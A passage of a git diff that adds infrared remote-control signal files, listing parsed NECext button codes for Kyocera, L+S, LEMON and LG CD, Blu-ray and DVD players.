+protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir new file mode 100644 index 000000000..17544528b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 19 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1B 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1C 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1D 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1E 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1F 00 00 00 +# +name: C/AC +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4C 00 00 00 +# +name: REMAIN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4D 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir new file mode 100644 index 000000000..fa9cc4433 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: txt-clr +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: txt-large +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: txt-hold +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir b/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir new file mode 100644 index 000000000..79b29305e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: tune_down +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 04 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 05 00 00 00 +# +name: scan_up +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 06 00 00 00 +# +name: tune_up +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 0C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 13 00 00 00 +# +name: mem_prog +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 14 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 1B 00 00 00 +# +name: mem_up +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 60 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: A0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir new file mode 100644 index 000000000..9704f7a66 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: tone +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: vtx +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir new file mode 100644 index 000000000..0448a95ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir @@ -0,0 +1,542 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: SCAN<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN_BACK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: TR_SCAN_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: TR_SCAN_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TRACK_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TR_SKIP_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: TRACK_BACK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: TR_SKIP_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: INFO/DISPLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 46 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: TITLE/POPUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: TITLE/POP_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: TITLE/PUPUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 53 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: VIDEO_PIP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5F 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 62 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 67 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 75 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 76 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 79 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: A_(RED) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: RED_-_A +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: COLOR_1_RED +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: B_(GREEN) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: GREEN_-_B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: COLOR_2_GREEN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7D 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: C_(YELLOW) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: YELLOW_-_C +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: COLOR_3_YELLOW +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7E 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: D_(BLUE) +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: BLUE_-_D +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: COLOR_4_BLUE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7F 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C0 00 00 00 +# +name: CURSOR_LEFT_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C1 00 00 00 +# +name: CURSOR_RIGHT_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C2 00 00 00 +# +name: CURSOR_LEFT_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C3 00 00 00 +# +name: CURSOR_RIGHT_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: C4 00 00 00 +# +name: RESOLUTION +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F5 00 00 00 +# +name: POP_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F6 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F7 00 00 00 +# +name: RESUME_PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: F8 00 00 00 +# +name: MUSIC_ID +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir new file mode 100644 index 000000000..01c54fa2a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 10 00 00 +command: F8 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 10 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir new file mode 100644 index 000000000..3d0b4f85e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 2C 2C 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir new file mode 100644 index 000000000..5d5fb04a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir @@ -0,0 +1,524 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: DVD_POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: SCAN<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN_BACK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: SCAN>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: SCAN_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TRACK_FORWARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: TRACK_BACK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 46 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: TITLE/POPUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4F 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 50 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 51 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 53 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 57 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5E 00 00 00 +# +name: VIDEO_PIP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5F 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 62 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 67 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 75 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 76 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 79 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: RED_BUTTON +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 7C 00 00 00 +# +name: A_(RED) +type: parsed +protocol: NECext +address: 2D 